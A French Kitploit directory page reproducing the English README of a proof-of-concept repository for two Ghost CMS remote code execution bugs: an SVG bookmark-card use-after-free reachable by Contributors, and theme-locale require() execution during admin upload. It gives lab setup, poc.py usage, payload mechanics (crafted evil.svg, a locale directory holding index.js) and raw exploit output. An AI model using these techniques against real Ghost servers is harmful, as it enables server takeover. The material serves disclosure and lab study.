Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-105642-POC — Python PoC and Docker lab for two Ghost CMS RCEs: Contributor bookmark-card SVG rasterization (CVE-2026-105642) and admin theme-translation require() (CVE-2026-105677), with fixed controls. | Kitploit
Outils/GitHubGitHub/fixedbyreboot/cve-2026-105642-poc
Vulnerability AnalysisExploitationWeb Application ExploitationSecurity VirtualizationPenetration TestingRemote Access ToolPayload DevelopmentLabs & Practice
GitHubfixedbyreboot/cve-2026-105642-poc

CVE-2026-105642-POC

Python PoC and Docker lab for two Ghost CMS RCEs: Contributor bookmark-card SVG rasterization (CVE-2026-105642) and admin theme-translation require() (CVE-2026-105677), with fixed controls.

Voir le dépôt
il y a 9 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    897
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    853
  • 3

    wifit3

    derv82/wifit3

    Wifite mais uniquement USB et multiplateforme.

    668
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer est une plateforme open-source de Gestion des Accès Privilégiés (PAM) qui offre aux équipes DevOps et IT un accès sécurisé et à la demande aux terminaux SSH, RDP, Kubernetes, bases de données et RemoteApp via un navigateur web.

    448
  • 5

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    417
  • 6

    SafeLine

    chaitin/safeline

    WAF auto-hébergé et proxy inverse qui filtre le trafic HTTP malveillant, bloque les injections SQL, les XSS et les attaques de robots, avec limitation de débit et chiffrement dynamique HTML/JS.

    400

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Contenu non disponible dans la langue demandée. Affichage de la version anglaise.

CVE-2026-105642 + CVE-2026-105677 — Ghost CMS remote code execution duo

Language CVSS CVSS Affected Affected Status Advisory Advisory License

Two independent authenticated RCE bugs in Ghost 6.x, exercised by one lab and one driver script. CVE-2026-105642 (8.8 High): when a Ghost staff user builds a bookmark card, Ghost's admin oEmbed service fetches the linked page and hands its og:image to the bundled sharp -> libvips -> librsvg rasterization pipeline. A crafted SVG turns librsvg 2.62.90's nested-XInclude duplicate-entity handling into a use-after-free that is exploitable into a calibrated ROP chain and execve - and any staff user down to Contributor (the lowest staff role) can fire it by pointing a bookmark at an attacker-controlled URL. CVE-2026-105677 (7.2 High): the theme translation loader behind the private themeTranslation labs flag scans a theme's locales/ directory with an unfiltered readdir and calls require() on <locale>.json entries; a theme whose locales/ contains a DIRECTORY named like a translation file makes Node's require() directory resolution execute its index.js, so an Administrator uploading a theme gets code execution on the server. Both were disclosed 2026-10-05 with fixes; both sat 40 days with zero public PoC (freshness re-checked 2026-11-14, see Notes).

Meta

  • Affected: Ghost >= 6.56.0, < 6.67.0 (CVE-2026-105642); Ghost >= 6.10.3, < 6.64.0 (CVE-2026-105677). Vendor: TryGhost.
  • Fixed: 6.67.0 (105642 - the bundled image stack moves to librsvg 2.63.2); 6.64.0 (105677 - @tryghost/i18n rewritten, loader no longer require()s theme locale entries).
  • CVSS: 8.8 High, CVSS:3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (105642, GHSA-788w-68h3-cvxp); 7.2 High, CVSS:3.1 AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H (105677, GHSA-jj74-hc2q-xrvm).
  • Advisory: GHSA-788w-68h3-cvxp and GHSA-jj74-hc2q-xrvm (github.com/TryGhost/Ghost security advisories; both also tracked for npm ghost), NVD CVE-2026-105642 / CVE-2026-105677. Both published 2026-10-05. Not in CISA KEV as of 2026-11-14.
  • Preconditions, stated honestly: 105642 requires ANY staff account - Contributor suffices and the PoC creates a real Contributor through Ghost's invitation flow; the CNA's PR:N/UI:R vector models the attacker's side (the staff user's bookmark creation can be social-engineered against an attacker-chosen URL), while this PoC drives the staff side directly with the invited account. 105677 requires an Administrator account (theme upload and activation are admin-only surfaces).
  • Demonstrated impact: echo <marker> > /tmp/<marker> executed inside the Ghost container on the vulnerable build, with fixed-version and config-gated controls staying clean. The lab does not go further than marker execution; the primitive is arbitrary command execution as the container's node user.

Lab

docker compose up -d starts five Ghost instances over one MySQL 8.0 plus an attacker HTTP server and an SMTP sink (topology and per-image runtime identity: evidence/00-lab-topology.md). First boot takes a couple of minutes; instances stay up across runs (the named volume keeps accounts, and poc.py re-logins through Ghost's device-verification mail flow automatically).

serviceversionportrole
ghost-svg-vuln6.65.0 (digest-pinned)127.0.0.1:8085105642 trigger
ghost-svg-fixed6.67.0127.0.0.1:8086105642 control
ghost-theme-vuln6.63.0 + themeTranslation labs flag127.0.0.1:8087105677 trigger
ghost-theme-fixed6.64.0 + themeTranslation labs flag127.0.0.1:8088105677 control
ghost-theme-noflag6.63.0, labs flag off127.0.0.1:8089105677 gate control

Usage

docker compose up -d          # all six services; wait for boot
python3 poc.py --mode svg     # CVE-2026-105642: Contributor -> bookmark SVG -> RCE + 6.67.0 control
python3 poc.py --mode theme   # CVE-2026-105677: admin theme upload -> RCE + 6.64.0 and flag-gate controls
  • --mode svg|theme - which CVE to exercise (required).
  • --lab-dir <dir> - directory holding docker-compose.yml (default: this repo checkout).
  • --vuln-url/--control-url/--noflag-url - override the target base URLs (defaults to the 127.0.0.1 ports above).
  • Exit codes: 0 = vulnerable target executed the payload and all controls stayed clean; 1 = verification failed; 2 = lab/setup error.

Between runs, the SVG payload is regenerated with a fresh random marker into the attacker web root (attacker-www/evil.svg inside the compose project). If the admin login rate limiter rejects logins after many runs (HTTP 429), clear Ghost's DB-backed brute table or recreate the stack (Notes below).

Expected output

CVE-2026-105642, trigger (raw, evidence/01-cve-2026-105642-run-raw.txt):

[1] establishing a genuine Contributor session on the vulnerable target
    vuln runtime identity: {"node":"v22.23.3","sharp":"0.35.3","vips":"8.18.3","rsvg":"2.62.90","xml2":"2.15.3"}
    contributor session established (existing account, login 201)
    identity: [email protected] roles=['Contributor']
[3] planting attacker page + crafted SVG under the attacker web root
    wrote <lab-dir>/attacker-www/evil.svg (24408 bytes, payload command: 'echo me96c8cfc07>/tmp/me96c8cfc07')
[4] trigger: Contributor requests the bookmark card for the attacker page
    >> GET /ghost/api/admin/oembed/?url=http%3A%2F%2Fattacker%3A8790%2F&type=bookmark
    vuln : <transport error: ... Remote end close ...>
[5] execution proof on the vulnerable target
    docker cp ghost-svg-vuln:/tmp/me96c8cfc07 -> contents 'me96c8cfc07\n'
    VULN RESULT: marker file present, contents == me96c8cfc07 -> attacker command executed

The RemoteDisconnected on the trigger request is the execve tearing down the Node process mid-response; the container auto-restarts (marker persists, state running 0).

Control, same action against 6.67.0 (same run):

[6] control: identical trigger against the fixed version
    control : HTTP 200 body[:200]=b'{"version":"1.0","type":"bookmark","url":"http://attacker:8790/",...
    control marker present: False
RESULT cve-2026-105642 vuln marker_present=true container=running 0
RESULT cve-2026-105642 control http=200 marker_present=false container=running 0
CONFIRMED: Contributor -> bookmark-card SVG -> command execution on 6.65.0; 6.67.0 control clean

CVE-2026-105677, trigger (raw, evidence/02-cve-2026-105677-run-raw.txt):

[1] building the crafted theme zip
    payload entry: poc-i18n/locales/m2da8dadafd.json/index.js (directory entry)
[2] vuln: owner session -> upload -> activate
    upload  -> HTTP 200 ...
    activate-> HTTP 200 ...
    marker /tmp/m2da8dadafd present: True (contents 'm2da8dadafd')
RESULT cve-2026-105677 vuln: activate-200 marker_present=true container=running 0

Controls, same theme zip against 6.64.0 (flag on) and 6.63.0 (flag off):

RESULT cve-2026-105677 fixed-control: activate-200 marker_present=false container=running 0
RESULT cve-2026-105677 noflag-control: activate-200 marker_present=false container=running 0
CONFIRMED: admin theme upload -> require() code execution on 6.63.0 (flag on); 6.64.0 fixed control and 6.63.0 flag-gate control both clean

Note the control detail: 6.64.0 still accepts and activates the theme zip - the fix is in the loader, not the upload path - but the crafted entry no longer executes.

Why it works

Télécharger l’outil